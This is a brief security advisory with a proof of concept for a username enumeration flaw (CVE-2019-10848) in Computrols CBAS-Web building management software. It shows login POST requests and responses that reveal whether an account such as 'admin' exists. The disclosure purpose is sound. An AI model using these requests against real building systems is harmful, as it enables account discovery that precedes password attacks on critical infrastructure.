Computrols CBAS-Web Username Enumeration

Affected versions: 19.0.0 and below
CVE: CVE-2019-10848
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system

Discovered by Gjoko 'LiquidWorm' Krstic


Testing for non-valid user:

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62


Response for non-valid user:

<!-- Failed login comments appear here -->
<p class="alert-error">randomuser</p>

========================================================================

Testing for valid user:

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s


Response for valid user:

<!-- Failed login comments appear here -->
<p class="alert-error">Invalid username/password combination.  Please try again!</p>